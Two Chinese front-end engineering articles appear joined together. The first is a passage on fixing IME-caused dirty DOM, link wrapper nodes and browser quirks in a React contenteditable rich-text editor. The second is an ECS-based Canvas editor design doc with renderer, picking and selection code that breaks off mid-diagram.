这里究其原因还是在于非受控的IME问题,在输入英文时我们的输入在beforeinput事件中被阻止了默认行为,因此不会触发浏览器默认行为的DOM变更。然而当前在唤醒IME的情况下,DOM的变更行为是无法被阻止的,因此此时属于非受控的输入,这样就导致了问题。

此时由于浏览器的默认行为,inline节点的内容会被输入法插入“中文”的文本,这部分是浏览器对于输入法的默认处理。而当我们输入完成后,数据结构Model层的内容是会将文本放置于text前,这部分则是编辑器来控制的行为,这跟我们输入非中文的表现是一致的,也是符合预期表现的。

那么由于我们的immutable设计,再加上性能优化策略的memo以及useMemo的执行,即使在最终的文本节点渲染加入了脏DOM检测也是不够的,因为此时完全不会执行rerender。这就导致React原地复用了当前的DOM节点,因此造成了IME输入的DOM变更和Model层的不一致。

const onRef = (dom: HTMLSpanElement | null) => {
  if (props.children === dom.textContent) return void 0;
  const children = dom.childNodes;
  // If the text content is inconsistent due to the modification of the input
  // it needs to be corrected
  for (let i = 1; i < children.length; ++i) {
    const node = children[i];
    node && node.remove();
  }
  // Guaranteed to have only one text child
  if (isDOMText(dom.firstChild)) {
    dom.firstChild.nodeValue = props.children;
  }
};

而如果我们直接将leafReact.memo以及useMemo移除,这个问题自然是会消失,然而这样就会导致编辑器的性能下降。因此我们就需要考虑尽可能检查到脏DOM的情况,实际上如果是在input事件或者MutationObserver中处理输入的纯非受控情况,也需要处理脏DOM的问题。

那么我们可以明显的想到,当行状态发生变更时,我们就直接检查当前行的所有leaf节点,然后对比文本内容,如果存在不一致的情况则直接进行修正。如果直接使用querySelector的话显然不够优雅,我们可以借助WeakMap来映射叶子状态到DOM结构,以此来快速定位到需要的节点。

然后在行节点的状态变更后,在处理副作用的时候检查脏DOM节点,并且由于我们的行状态也是immutable的,因此也不需要担心性能问题。此时检查的执行是O(N)的算法,而且检查的范围也会限制在发生rerender的行中,具体检查节点的方法自然也跟上述onRef一致。

const leaves = lineState.getLeaves();
for (const leaf of leaves) {
  const dom = LEAF_TO_TEXT.get(leaf);
  if (!dom) continue;
  const text = leaf.getText();
  // 避免 React 非受控与 IME 造成的 DOM 内容问题
  if (text === dom.textContent) continue;
  editor.logger.debug("Correct Text Node", dom);
  const nodes = dom.childNodes;
  for (let i = 1; i < nodes.length; ++i) {
    const node = nodes[i];
    node && node.remove();
  }
  if (isDOMText(dom.firstChild)) {
    dom.firstChild.nodeValue = text;
  }
}

这里需要注意的是,脏节点的状态检查是需要在useLayoutEffect时机执行的,因为我们需要保证执行的顺序是先校正DOM再更新选区。如果反过来的话就会导致一个问题,先更新的选区依然停留在脏节点上,此时再校正会由于DOM节点变化导致选区的丢失,表现是选区会在inline的最前方。

leaf rerender -> line rerender -> line layout effect -> block layout effect

此外,这里的实现在首次渲染并不需要检查,此时不会存在脏节点的情况,因此初始化渲染的时候我们可以直接跳过检查。以这种策略来处理脏DOM的问题,还可以避免部分其他可能存在的问题,零宽字符文本的内容暂时先不处理,如果再碰到类似的情况是需要额外的检查的。

其实换个角度想,这里的问题也可能是我们的选区策略是尽可能偏左侧的查找,如果在这种情况将其校正到右侧节点可能也可以解决问题。不过因为在空行的情况下我们的末尾\n节点并不会渲染,因此这样的策略目前并不能彻底解决问题,而且这个处理方式也会使得编辑器的选区策略变得更加复杂。

[inline|][text] => [inline][|text]

这里还需要关注下ReactHooks调用时机,在下面的例子中,从真实DOM中得到onRef执行顺序是最前的,因此在此时进行首次DOM检查是合理的。而后续的Child LayoutEffect就类似于行DOM检查,在修正过后在Parent LayoutEffect中更新选区是符合调度时机方案。

Child onRef
Child useLayoutEffect
Parent useLayoutEffect
Child useEffect
Parent useEffect
// https://playcode.io/react
import React from 'react';
const Child = () => {
  const [,forceUpdate] = React.useState({});
  const onRef = () => console.log("Child onRef");
  React.useEffect(() => console.log("Child useEffect"));
  React.useLayoutEffect(() => console.log("Child useLayoutEffect"));
  return <button ref={onRef} onClick={() => forceUpdate({})}>Update</button>
}
export function App(props) {
  React.useEffect(() => console.log("Parent useEffect"));
  React.useLayoutEffect(() => console.log("Parent useLayoutEffect"));
  return <Child></Child>;
}

包装节点

关于包装节点的问题需要我们先聊一下这个模式的设计,现在实现的富文本编辑器是没有块结构的,因此实现任何具有嵌套的结构都是个复杂的问题。在这里我们原本就不会处理诸如表格类的嵌套结构,但是例如blockquote这种wrapper级结构我们是需要处理的。

类似的结构还有list,但是list我们可以完全自己绘制,但是blockquote这种结构是需要具体组合才可以的。然而如果仅仅是blockquote还好,在inline节点上使用wrapper是更常见的实现,例如a标签的包装在编辑器的实现模式中就是很常规的行为。

具体来说,在我们将文本分割为bolditalicinline节点时,会导致DOM节点被实际切割,此时如果嵌套<a>节点的话,就会导致hover后下划线等效果出现切割。因此如果能够将其wrapper在同一个<a>标签的话,就不会出现这种问题。

但是新的问题又来了,如果仅仅是单个key来实现渲染时嵌套并不是什么复杂问题,而同时存在多个需要wrapperkey则变成了令人费解的问题。如下面的例子中,如果将34单独合并b,外层再包裹a似乎是合理的,但是将34先包裹a后再合并5b也是合理的,甚至有没有办法将67一并合并,因为其都存在b标签。

1 2 3  4  5 6  7 8 9 0
a a ab ab b bc b c c c

思来想去,我最终想到了个简单的实现,对于需要wrapper的元素,如果其合并listkeyvalue全部相同的话,那么就作为同一个值来合并。那么这种情况下就变的简单了很多,我们将其认为是一个组合值,而不是单独的值,在大部分场景下是足够的。

1 2 3  4  5 6  7 8 9 0
a a ab ab b bc b c c c
12 34 5 6 7 890

不过话又说回来,这种wrapper结构是比较特殊的场景下才会需要的,在某些操作例如缩进这个行为中,是无法判断究竟是要缩进引用块还是缩进其中的文字。这个问题在很多开源编辑器中都存在,特别是扁平化的数据结构设计例如Quill编辑器。

其实也就是在没有块结构的情况下,对于类似的行为不好控制,而整体缩进这件事配合list在大型文档中也是很合理的行为,因此这部分实现还是要等我们的块结构编辑器实现才可以。当然,如果数据结构本身支持嵌套模式,例如Slate就可以实现。

后续在wrap node实现的a标签来实现输入时,又出现了上述类似inline-code的脏DOM问题。以下面的DOM结构来看,看似并不会有什么问题,然而当光标放置于超链接这三个字后唤醒IME输入中文时,会发现输入“测试输入”这几个字会被放置于直属div下,与a标签平级。

<div contenteditable>
  <a href="https://www.baidu.com"><span>超链接</span></a>
  <span>文本</span>
</div>
<div contenteditable>
  <a href="https://www.baidu.com"><span>超链接</span></a>
  测试输入
  <span>文本</span>
</div>

在这种情况下我们先前实现的脏DOM检测就失效了,因为检查脏DOM的实现是基于data-leaf实现的。此时浏览器的输入表现会导致我们无法正确检查到这部分内容,除非直接拿data-node行节点来直接判断,这样的实现自然不够好。

说到这里,先前我发现飞书文档的实现是a标签渲染的leaf,而wrap的包装实现是使用的span直接处理的,并且额外增加了样式来实现hover效果。直接使用span包裹就不会出现上述问题,而内部的a标签虽然会导致同样的问题,但是在leaf下可以触发脏DOM检查。

<div contenteditable>
  <span>
    <a href="https://www.baidu.com"><span>超链接</span></a>
    测试输入
  </span>
  <span>文本</span>
</div>

因此就可以在先前的脏DOM检查基础上解决了问题,而本质上类似的行为就是浏览器默认处理的结果,不同的浏览器处理结果可能都不一样。目前看起来是浏览器认为a标签的结构应该是属于inline的实现,也就是类似我们的inline-code实现,理论上倒却是并没有什么问题,由此我们需要自己来处理这些非受控的问题。

实际上Quill本身也会出现这个问题,同样也是脏DOM的处理。而slate并不会出现这个问题,这里处理方案则是通过DOM规避了问题,在a标签两端放置额外的&nbsp节点,以此来避免这个问题。当然还引入了额外的问题,引入了新的节点,目前看起来转移光标需要受控处理。

<!-- https://github.com/ianstormtaylor/slate/blob/main/site/examples/ts/inlines.tsx -->
<div contenteditable>
  <a href="https://www.baidu.com"
    ><span contenteditable="false" style="font-size: 0">&nbsp;</span
    ><span>超链接测试输入</span
    ><span contenteditable="false" style="font-size: 0">&nbsp;</span></a
  ><span>文本</span>
</div>

浏览器兼容性

在后续浏览器的测试中,重新出现了上述提到的a标签问题,此时并不是由于包装节点引起的,因此问题变得复杂了很多,主要是各个浏览器的兼容性的问题。类似于行内代码块,本质上还是浏览器IME非受控导致的DOM变更问题,但是在浏览器表现差异很大,下面是最小的DEMO结构。

<div contenteditable>
  <span data-leaf><a href="#"><span data-string>在[:]后输入:</span></a></span><span data-leaf>非链接文本</span>
</div>

在上述示例的a标签位置的最后的位置上输入内容,主流的浏览器的表现是有差异的,甚至在不同版本的浏览器上表现还不一致:

  • Chrome中会在a标签的同级位置插入文本类型的节点,效果类似于<a></a>"text"内容。
  • Firefox中会在a标签内插入span类型的节点,效果类似于<a></a><span data-string>text</span>内容。
  • Safari中会将a标签和span标签交换位置,然后在a标签上同级位置加入文本内容,类似<span><a></a>"text"</span>
<!-- Chrome -->
<span data-leaf="true">
  <a href="https://www.baidu.com"><span data-string="true">超链接</span></a>
  "文本"
</span>

<!-- Firefox -->
 <span data-leaf="true">
  <a href="https://www.baidu.com"><span data-string="true">超链接</span></a>
  <span data-string="true">文本</span>
</span>

<!-- Safari -->
 <span data-leaf="true">
  <span data-string="true">
    <a href="https://www.baidu.com">超链接</a>
    "文本"
    ""
  </span>
</span>

因此我们的脏DOM检查需要更细粒度地处理,仅仅对比文本内容显然是不足以处理的,我们还需要检查文本的内容节点结构是否准确。其实最开始我们是仅处理了Chrome下的情况,最简单的办法就是在leaf节点下仅允许存在单个节点,存在多个节点则说明是脏DOM

for (let i = 1; i < nodes.length; ++i) {
  const node = nodes[i];
  node && node.remove();
}

但是后来发现在编辑时会把Embed节点移除,这里也就是因为我们错误地把组合的div节点当成了脏DOM,因此这里就需要更细粒度地处理了。然后考虑检查节点的类型,如果是文本的节点类型再移除,那么就可以避免Embed节点被误删的问题。

for (let i = 1; i < nodes.length; ++i) {
  const node = nodes[i];
  isDOMText(node) && node.remove();
}

虽然看起来是解决了问题,然而在后续就发现了FirefoxSafari下的问题。先来看Firefox的情况,这个节点并非文本类型的节点,在脏DOM检查的时候就无法被移除掉,这依然无法处理Firefox下的脏DOM问题,因此我们需要进一步处理不同类型的节点。

// data-leaf 节点内部仅应该存在非文本节点, 文本类型单节点, 嵌入类型双节点
for (let i = 1; i < nodes.length; ++i) {
  const node = nodes[i];
  // 双节点情况下, 即 Void/Embed 节点类型时需要忽略该节点
  if (isHTMLElement(node) && node.hasAttribute(VOID_KEY)) {
    continue;
  }
  node.remove();
}

Safari的情况下就更加复杂,因为其会将a标签和span标签交换位置,这样就导致了DOM结构性造成了破坏。这种情况下我们就必须要重新刷新DOM结构,这种情况下就需要更加复杂地处理,在这里我们加入forceUpdate以及TextNode节点的检查。

其实在飞书文档中也是采用了类似的做法,飞书文档的a标签在唤醒IME输入后,同样会触发脏DOM的检查,然后飞书文档会直接以行为基础ReMount当前行的所有leaf节点,这样就可以避免复杂的脏DOM检查。我们这里实现更精细的leaf处理,主要是避免不必要的挂载。

const LeafView: FC = () => {
  const { forceUpdate, index: renderKey } = useForceUpdate();
  LEAF_TO_REMOUNT.set(leafState, forceUpdate);
  return (<span key={renderKey}></span>);
}

if (isDOMText(dom.firstChild)) {
  // ...
} else {
  const func = LEAF_TO_REMOUNT.get(leaf);
  func && func();
}

这里需要注意的是,我们还需要处理零宽字符类型的情况。当Embed节点前没有任何节点,即位于行首时,输入中文后同样会导致IME的输入内容被滞留在Embed节点的零宽字符上,这点与上述的inline节点是类似的,因此这部分也需要处理。

const zeroNode = LEAF_TO_ZERO_TEXT.get(leaf);
const isZeroNode = !!zeroNode;
const textNode = isZeroNode ? zeroNode : LEAF_TO_TEXT.get(leaf);
const text = isZeroNode ? ZERO_SYMBOL : leaf.getText();
const nodes = textNode.childNodes;

到这里,我们的脏DOM检查已经能够处理大部分情况了,整体的模式都是React在行DOM结构计算完成后,浏览器渲染前进行处理。针对于文本节点以及a标签的检查,需要检查文本与状态的关系,以及严格的DOM结构破坏后的需要直接Remount组件。

// 文本节点内部仅应该存在一个文本节点, 需要移除额外节点
for (let i = 1; i < nodes.length; ++i) {
  const node = nodes[i];
  node && node.remove();
}
// 如果文本内容不合法, 通常是由于输入的脏 DOM, 需要纠正内容
if (isDOMText(textNode.firstChild)) {
  // Case1: [inline-code][caret][text] IME 会导致模型/文本差异
  // Case3: 在单行仅存在 Embed 节点时, 在节点最前输入会导致内容重复
  if (textNode.firstChild.nodeValue === text) return false;
  textNode.firstChild.nodeValue = text;
  } else {
  // Case2: Safari 下在 a 节点末尾输入时, 会导致节点内外层交换
  const func = LEAF_TO_REMOUNT.get(leaf);
  func && func();
  if (process.env.NODE_ENV === "development") {
    console.log("Force Render Text Node", textNode);
  }
}

而针对于额外的文本节点,即本章节中重点提到的浏览器兼容性问题,我们需要严格地控制leaf节点下的DOM结构。如果仅存在单个文本节点的情况下,是符合设计的结构,而如果是存在多个节点,除了Void/Embed节点的情况外,则说明DOM结构被破坏了,这里我们就需要移除掉多余的节点。

// data-leaf 节点内部仅应该存在非文本节点, 文本类型单节点, 嵌入类型双节点
for (let i = 1; i < nodes.length; ++i) {
  const node = nodes[i];
  // 双节点情况下, 即 Void/Embed 节点类型时需要忽略该节点
  if (isHTMLElement(node) && node.hasAttribute(VOID_KEY)) {
    continue;
  }
  // Case1: Chrome a 标签内的 IME 输入会导致同级的额外文本节点类型插入
  // Case2: Firefox a 标签内的 IME 输入会导致同级的额外 data-string 节点类型插入
  node.remove();
}

样式组合渲染

由于我们的编辑器是以immutable提高渲染性能,因此在文本节点变更时若是需要存在连续的格式处理,例如inline-code的样式实现,就会出现组件不重新渲染问题。具体表现是若是存在多个连续的code节点,最后一个节点长度为1,删除最后这个节点时会导致前一个节点无法刷新样式。

[inline][c]|

这个问题的原因是我们的className是在渲染leaf节点时动态计算的,具体的逻辑如下所示。如果前一个节点不存在或者前一个节点不是inline-code,则添加inline-code-start类属性,类似的需要在最后一个节点加入inline-code-end类属性。

if (!prev || !prev.op.attributes || !prev.op.attributes[INLINE_CODE_KEY]) {
  context.classList.push(INLINE_CODE_START_CLASS);
}
context.classList.push("block-kit-inline-code");
if (!next || !next.op.attributes || !next.op.attributes[INLINE_CODE_KEY]) {
  context.classList.push(INLINE_CODE_END_CLASS);
}

这个情况同样类似于Dirty DOM的问题,由于删除的节点长度为1,因此前一个节点的LeafState并没有变更,因此不会触发React的重新渲染。这里我们就需要在行节点渲染时进行纠正,这里的执行倒是不需要像上述检查那样同步执行,以异步的effect执行即可。

/**
 * 编辑器行结构布局计算后异步调用
 */
public didPaintLineState(lineState: LineState): void {
  for (let i = 0; i < leaves.length; i++) {
    if (!prev || !prev.op.attributes || !prev.op.attributes[INLINE_CODE_KEY]) {
      node && node.classList.add(INLINE_CODE_START_CLASS);
    }
    if (!next || !next.op.attributes || !next.op.attributes[INLINE_CODE_KEY]) {
      node && node.classList.add(INLINE_CODE_END_CLASS);
    }
  }
}

虽然看起来已经解决了问题,然而在React中还是存在一些问题,主要的原因此时的DOM处理是非受控的。类似于下面的例子,由于React在处理style属性时,只会更新发生变化的样式属性,即使整体是新对象,但具体值与上次渲染时相同,因此React不会重新设置这个样式属性。

// https://playcode.io/react
import React from "react";
export function App() {
  const el = React.useRef();
  const [, setState] = React.useState(1);
  const onClick = () => {
    el.current && (el.current.style.color = "blue");
  }
  console.log("Render App")
  return (
    <div>
      <div style={{ color:"red" }} ref={el}>Hello React.</div>
      <button onClick={onClick}>Color Button</button>
      <button onClick={() => setState(c => ++c)}>Rerender Button</button>
    </div>
  );
}

因此,在上述的didPaintLineState中我们主要是classList添加类属性值,即使是LeafState发生了变更,React也不会重新设置类属性值,因此这里我们还需要在didPaintLineState变更时删除非必要的类属性值。

public didPaintLineState(lineState: LineState): void {
  for (let i = 0; i < leaves.length; i++) {
    if (!prev || !prev.op.attributes || !prev.op.attributes[INLINE_CODE_KEY]) {
      node && node.classList.add(INLINE_CODE_START_CLASS);
    } else {
      node && node.classList.remove(INLINE_CODE_START_CLASS);
    }
    if (!next || !next.op.attributes || !next.op.attributes[INLINE_CODE_KEY]) {
      node && node.classList.add(INLINE_CODE_END_CLASS);
    } else {
      node && node.classList.remove(INLINE_CODE_END_CLASS);
    }
  }
}

总结

在先前我们实现了半受控的输入模式,这个输入模式同样是目前大多数富文本编辑器的主流实现方式。在这里我们关注于浏览器ContentEdiable模式输入的默认行为造成的DOM结构问题,并且通过脏DOM检查的方式来修正这些问题,以此来保持编辑器的严格DOM结构。

当前我们主要关注的是编辑器文本的输入问题,即如何将键盘输入的内容写入到编辑器数据模型中。而接下来我们需要关注于输入模式结构化变更的受控处理,即回车、删除、拖拽等操作的处理,这些操作同样也是基于输入相关事件实现的,而且通常会涉及到文本的结构变更,属于输入模式的补充。

每日一题

参考

基于ECS架构的Canvas画布编辑器

概述

本文档详细介绍前端画布系统的核心功能实现,基于 ECS(Entity-Component-System)架构,提供高性能的图形渲染和交互能力。

项目地址:github.com/baiyuze/duc…

核心功能模块

graph TB
    A[前端核心功能] --> B[ECS渲染引擎]
    A --> C[图形拾取系统]
    A --> D[选择交互系统]
    A --> E[输入处理系统]
    A --> F[事件管理系统]
    A --> G[DSL解析系统]
    
    B --> B1[RenderSystem]
    B --> B2[渲染器注册表]
    B --> B3[多种图形渲染器]
    
    C --> C1[PickingSystem]
    C --> C2[颜色编码算法]
    C --> C3[离屏Canvas]
    
    D --> D1[SelectionSystem]
    D --> D2[单选/多选]
    D --> D3[拖拽功能]
    
    E --> E1[InputSystem]
    E --> E2[鼠标事件]
    E --> E3[键盘事件]
    
    F --> F1[EventSystem]
    F --> F2[事件队列]
    F --> F3[事件分发]
    
    G --> G1[DSL类]
    G --> G2[配置验证]
    G --> G3[组件实例化]

ECS 渲染引擎

渲染流程架构

sequenceDiagram
    participant M as 主循环
    participant E as EventSystem
    participant R as RenderSystem
    participant RR as RenderRegistry
    participant RE as Renderer
    participant C as Canvas
    
    M->>E: 1. 处理事件队列
    E->>E: 处理用户交互事件
    M->>R: 2. 触发渲染更新
    R->>R: 节流检查(100ms)
    R->>C: 3. 清空画布
    
    loop 遍历所有实体
        R->>R: 获取实体type
        R->>RR: 查找对应渲染器
        RR->>RE: 返回渲染器实例
        RE->>RE: 读取组件数据
        RE->>C: 绘制图形
    end
    
    M->>M: requestAnimationFrame

渲染系统实现

RenderSystem 架构

graph LR
    A[RenderSystem] --> B[RenderMap]
    B --> C[rect: RectRenderer]
    B --> D[ellipse: EllipseRenderer]
    B --> E[text: TextRenderer]
    B --> F[img: ImageRenderer]
    B --> G[polygon: PolygonRenderer]
    
    H[StateStore] --> A
    A --> I[throttledRender]
    I --> J[render方法]
    J --> K[drawShape]
    K --> C
    K --> D
    K --> E
    K --> F
    K --> G

RenderSystem 核心逻辑

export class RenderSystem extends System {
  core: Core;
  ctx: CanvasRenderingContext2D;
  renderMap = new Map<string, System>();

  constructor(ctx: CanvasRenderingContext2D, core: Core) {
    super();
    this.core = core;
    this.ctx = ctx;
    this.initRenderMap();
  }

  // 初始化渲染器映射表
  initRenderMap() {
    Object.entries(renderRegistry).forEach(([key, SystemClass]) => {
      this.renderMap.set(key, new SystemClass(this.ctx, this.core));
    });
  }

  // 节流渲染(100ms)
  throttledRender = throttle((stateStore: StateStore) => {
    this.render(stateStore, this.ctx);
  }, 100);

  // 绘制单个图形
  drawShape(stateStore: StateStore, entityId: string) {
    const type = stateStore.type.get(entityId);
    if (!type) return;
    
    const renderer = this.renderMap.get(type);
    renderer?.draw(entityId);
  }

  // 主渲染方法
  render(stateStore: StateStore, ctx: CanvasRenderingContext2D) {
    // 清空画布
    ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);

    // 遍历所有实体并渲染
    stateStore.position.forEach((pos, entityId) => {
      ctx.save();
      this.drawShape(stateStore, entityId);
      ctx.restore();
    });
  }

  // 每帧更新
  update(stateStore: StateStore) {
    this.throttledRender(stateStore);
  }
}

渲染器实现

渲染器架构设计

graph TB
    subgraph "渲染器基类"
        A[System基类]
    end
    
    subgraph "具体渲染器"
        B[RectRenderer<br/>矩形渲染]
        C[EllipseRenderer<br/>椭圆渲染]
        D[TextRenderer<br/>文本渲染]
        E[ImageRenderer<br/>图片渲染]
        F[PolygonRenderer<br/>多边形渲染]
    end
    
    subgraph "渲染流程"
        G[读取Position]
        H[读取Size]
        I[读取Color]
        J[读取其他组件]
        K[Canvas绘制API]
    end
    
    A --> B
    A --> C
    A --> D
    A --> E
    A --> F
    
    B --> G
    B --> H
    B --> I
    B --> K
    
    C --> G
    C --> H
    C --> I
    C --> K
    
    D --> G
    D --> J
    D --> K
    
    E --> G
    E --> H
    E --> J
    E --> K

矩形渲染器

export class RectRenderer extends System {
  ctx: CanvasRenderingContext2D;
  core: Core;

  constructor(ctx: CanvasRenderingContext2D, core: Core) {
    super();
    this.ctx = ctx;
    this.core = core;
  }

  draw(entityId: string) {
    const position = this.core.stateStore.position.get(entityId);
    const size = this.core.stateStore.size.get(entityId);
    const color = this.core.stateStore.color.get(entityId);
    const rotation = this.core.stateStore.rotation.get(entityId);

    if (!position || !size || !color) return;

    this.ctx.save();

    // 应用旋转
    if (rotation) {
      const centerX = position.x + size.width / 2;
      const centerY = position.y + size.height / 2;
      this.ctx.translate(centerX, centerY);
      this.ctx.rotate((rotation.value * Math.PI) / 180);
      this.ctx.translate(-centerX, -centerY);
    }

    // 填充
    if (color.fillColor) {
      this.ctx.fillStyle = color.fillColor;
      this.ctx.fillRect(position.x, position.y, size.width, size.height);
    }

    // 描边
    if (color.strokeColor) {
      const lineWidth = this.core.stateStore.lineWidth.get(entityId);
      this.ctx.strokeStyle = color.strokeColor;
      this.ctx.lineWidth = lineWidth?.value || 1;
      this.ctx.strokeRect(position.x, position.y, size.width, size.height);
    }

    this.ctx.restore();
  }
}

椭圆渲染器

export class EllipseRenderer extends System {
  draw(entityId: string) {
    const position = this.core.stateStore.position.get(entityId);
    const size = this.core.stateStore.size.get(entityId);
    const color = this.core.stateStore.color.get(entityId);

    if (!position || !size || !color) return;

    const centerX = position.x + size.width / 2;
    const centerY = position.y + size.height / 2;
    const radiusX = size.width / 2;
    const radiusY = size.height / 2;

    this.ctx.beginPath();
    this.ctx.ellipse(centerX, centerY, radiusX, radiusY, 0, 0, 2 * Math.PI);

    if (color.fillColor) {
      this.ctx.fillStyle = color.fillColor;
      this.ctx.fill();
    }

    if (color.strokeColor) {
      this.ctx.strokeStyle = color.strokeColor;
      this.ctx.stroke();
    }
  }
}

文本渲染器

export class TextRenderer extends System {
  draw(entityId: string) {
    const position = this.core.stateStore.position.get(entityId);
    const font = this.core.stateStore.font.get(entityId);

    if (!position || !font) return;

    this.ctx.save();

    // 设置字体样式
    this.ctx.font = `${font.weight} ${font.size}px ${font.family}`;
    this.ctx.fillStyle = font.fillColor;
    this.ctx.textBaseline = 'top';

    // 绘制文本
    this.ctx.fillText(font.text, position.x, position.y);

    this.ctx.restore();
  }
}

图片渲染器

export class ImageRenderer extends System {
  private imageCache = new Map<string, HTMLImageElement>();

  draw(entityId: string) {
    const position = this.core.stateStore.position.get(entityId);
    const size = this.core.stateStore.size.get(entityId);
    const img = this.core.stateStore.img.get(entityId);

    if (!position || !size || !img) return;

    let image = this.imageCache.get(img.src);

    if (!image) {
      image = new Image();
      image.src = img.src;
      this.imageCache.set(img.src, image);

      image.onload = () => {
        this.ctx.drawImage(image!, position.x, position.y, size.width, size.height);
      };
    } else if (image.complete) {
      this.ctx.drawImage(image, position.x, position.y, size.width, size.height);
    }
  }
}

图形拾取系统

拾取系统架构

graph TB
    subgraph "拾取系统设计"
        A[PickingSystem]
        B[离屏Canvas]
        C[颜色映射表]
    end
    
    subgraph "拾取流程"
        D[1. 为实体分配唯一颜色]
        E[2. 在离屏Canvas绘制]
        F[3. 读取点击位置像素]
        G[4. 颜色反查实体ID]
    end
    
    subgraph "颜色编码算法"
        H[实体索引 index]
        I[转RGB颜色]
        J[绘制到离屏]
        K[点击获取RGB]
        L[RGB转索引]
        M[返回实体ID]
    end
    
    A --> B
    A --> C
    A --> D
    D --> E
    E --> F
    F --> G
    
    H --> I
    I --> J
    K --> L
    L --> M

拾取原理图

sequenceDiagram
    participant U as 用户点击
    participant P as PickingSystem
    participant O as 离屏Canvas
    participant M as ColorMap
    
    Note over P,O: 准备阶段
    P->>P: 为每个实体分配唯一颜色ID
    P->>M: 建立颜色→实体映射表
    
    Note over U,M: 点击阶段
    U->>P: 鼠标点击(x, y)
    P->>O: 渲染所有实体到离屏Canvas
    Note over O: 使用唯一颜色填充
    P->>O: getImageData(x, y, 1, 1)
    O->>P: 返回像素RGB值
    P->>M: 查询RGB对应的实体
    M->>P: 返回实体ID
    P->>U: 返回被点击的实体

PickingSystem 实现

export class PickingSystem extends System {
  core: Core;
  ctx: CanvasRenderingContext2D;
  offscreenCanvas: HTMLCanvasElement;
  offscreenCtx: CanvasRenderingContext2D;
  colorToEntityMap = new Map<string, string>();

  constructor(ctx: CanvasRenderingContext2D, core: Core) {
    super();
    this.core = core;
    this.ctx = ctx;

    // 创建离屏 Canvas
    this.offscreenCanvas = document.createElement('canvas');
    this.offscreenCanvas.width = ctx.canvas.width;
    this.offscreenCanvas.height = ctx.canvas.height;
    this.offscreenCtx = this.offscreenCanvas.getContext('2d')!;

    this.generateColorMap();
  }

  // 为每个实体生成唯一颜色
  generateColorMap() {
    let colorIndex = 1;
    this.core.stateStore.position.forEach((_, entityId) => {
      const color = this.indexToColor(colorIndex);
      this.colorToEntityMap.set(color, entityId);
      colorIndex++;
    });
  }

  // 索引转颜色
  indexToColor(index: number): string {
    const r = (index & 0xFF0000) >> 16;
    const g = (index & 0x00FF00) >> 8;
    const b = (index & 0x0000FF);
    return `rgb(${r},${g},${b})`;
  }

  // 颜色转索引
  colorToIndex(r: number, g: number, b: number): number {
    return (r << 16) | (g << 8) | b;
  }

  // 渲染到离屏 Canvas
  renderOffscreen() {
    this.offscreenCtx.clearRect(0, 0, this.offscreenCanvas.width, this.offscreenCanvas.height);

    let colorIndex = 1;
    this.core.stateStore.position.forEach((position, entityId) => {
      const size = this.core.stateStore.size.get(entityId);
      if (!size) return;

      const color = this.indexToColor(colorIndex);
      this.offscreenCtx.fillStyle = color;
      this.offscreenCtx.fillRect(position.x, position.y, size.width, size.height);

      colorIndex++;
    });
  }

  // 拾取实体
  pick(x: number, y: number): string | null {
    this.renderOffscreen();

    const pixel = this.offscreenCtx.getImageData(x, y, 1, 1).data;
    const color = `rgb(${pixel[0]},${pixel[1]},${pixel[2]})`;

    return this.colorToEntityMap.get(color) || null;
  }
}

选择系统

选择系统架构

graph TB
    subgraph "选择模式"
        A[SelectionSystem]
        B[单选模式]
        C[多选模式Ctrl/Cmd]
        D[框选模式拖拽]
    end
    
    subgraph "选择状态"
        E[未选中 value:false]
        F[选中 value:true]
        G[悬停 hovered:true]
    end
    
    subgraph "视觉反馈"
        H[选择框绘制]
        I[控制点绘制]
        J[高亮显示]
    end
    
    A --> B
    A --> C
    A --> D
    
    B --> E
    B --> F
    C --> F
    
    F --> H
    F --> I
    G --> J

选择状态流转

stateDiagram-v2
    [*] --> 未选中
    
    未选中 --> 悬停: 鼠标移入
    悬停 --> 未选中: 鼠标移出
    
    悬停 --> 选中: 点击
    未选中 --> 选中: 直接点击
    
    选中 --> 拖拽中: 按住并移动
    拖拽中 --> 选中: 释放鼠标
    
    选中 --> 未选中: 点击空白区域
    选中 --> 多选: Ctrl+点击其他实体
    多选 --> 选中: Ctrl+点击已选实体
    
    多选 --> 未选中: 点击空白区域

SelectionSystem 实现

export class SelectionSystem extends System {
  core: Core;
  ctx: CanvasRenderingContext2D;

  constructor(ctx: CanvasRenderingContext2D, core: Core) {
    super();
    this.core = core;
    this.ctx = ctx;
  }

  // 选中实体
  selectEntity(entityId: string) {
    const selected = this.core.stateStore.selected.get(entityId);
    if (selected) {
      selected.value = true;
    }
  }

  // 取消选中
  deselectEntity(entityId: string) {
    const selected = this.core.stateStore.selected.get(entityId);
    if (selected) {
      selected.value = false;
    }
  }

  // 取消所有选中
  deselectAll() {
    this.core.stateStore.selected.forEach((selected) => {
      selected.value = false;
    });
  }

  // 绘制选择框
  drawSelectionBox(entityId: string) {
    const position = this.core.stateStore.position.get(entityId);
    const size = this.core.stateStore.size.get(entityId);
    const selected = this.core.stateStore.selected.get(entityId);

    if (!position || !size || !selected?.value) return;

    this.ctx.save();

    // 绘制选择框
    this.ctx.strokeStyle = '#0078D4';
    this.ctx.lineWidth = 2;
    this.ctx.setLineDash([5, 5]);
    this.ctx.strokeRect(
      position.x - 2,
      position.y - 2,
      size.width + 4,
      size.height + 4
    );

    // 绘制控制点
    this.drawHandles(position, size);

    this.ctx.restore();
  }

  // 绘制控制点
  drawHandles(position: Position, size: Size) {
    const handleSize = 8;
    const handles = [
      { x: position.x, y: position.y }, // 左上
      { x: position.x + size.width, y: position.y }, // 右上
      { x: position.x, y: position.y + size.height }, // 左下
      { x: position.x + size.width, y: position.y + size.height }, // 右下
    ];

    handles.forEach(handle => {
      this.ctx.fillStyle = '#FFFFFF';
      this.ctx.strokeStyle = '#0078D4';
      this.ctx.lineWidth = 2;
      this.ctx.fillRect(
        handle.x - handleSize / 2,
        handle.y - handleSize / 2,
        handleSize,
        handleSize
      );
      this.ctx.strokeRect(
        handle.x - handleSize / 2,
        handle.y - handleSize / 2,
        handleSize,
        handleSize
      );
    });
  }

  update(stateStore: StateStore) {
    stateStore.selected.forEach((selected, entityId) => {
      if (selected.value) {
        this.drawSelectionBox(entityId);
      }
    });
  }
}

输入系统

输入系统架构

graph TB
    subgraph "输入源"
        A[鼠标事件]
        B[键盘事件]
        C[触摸事件]
    end
    
    subgraph "InputSystem"
        D[事件监听器]
        E[事件处理器]
        F[状态管理]
    end
    
    subgraph "鼠标事件处理"
        G[mousedown]
        H[mousemove]
        I[mouseup]
        J[click]
    end
    
    subgraph "交互功能"
        K[选择实体]
        L[拖拽移动]
        M[缩放控制]
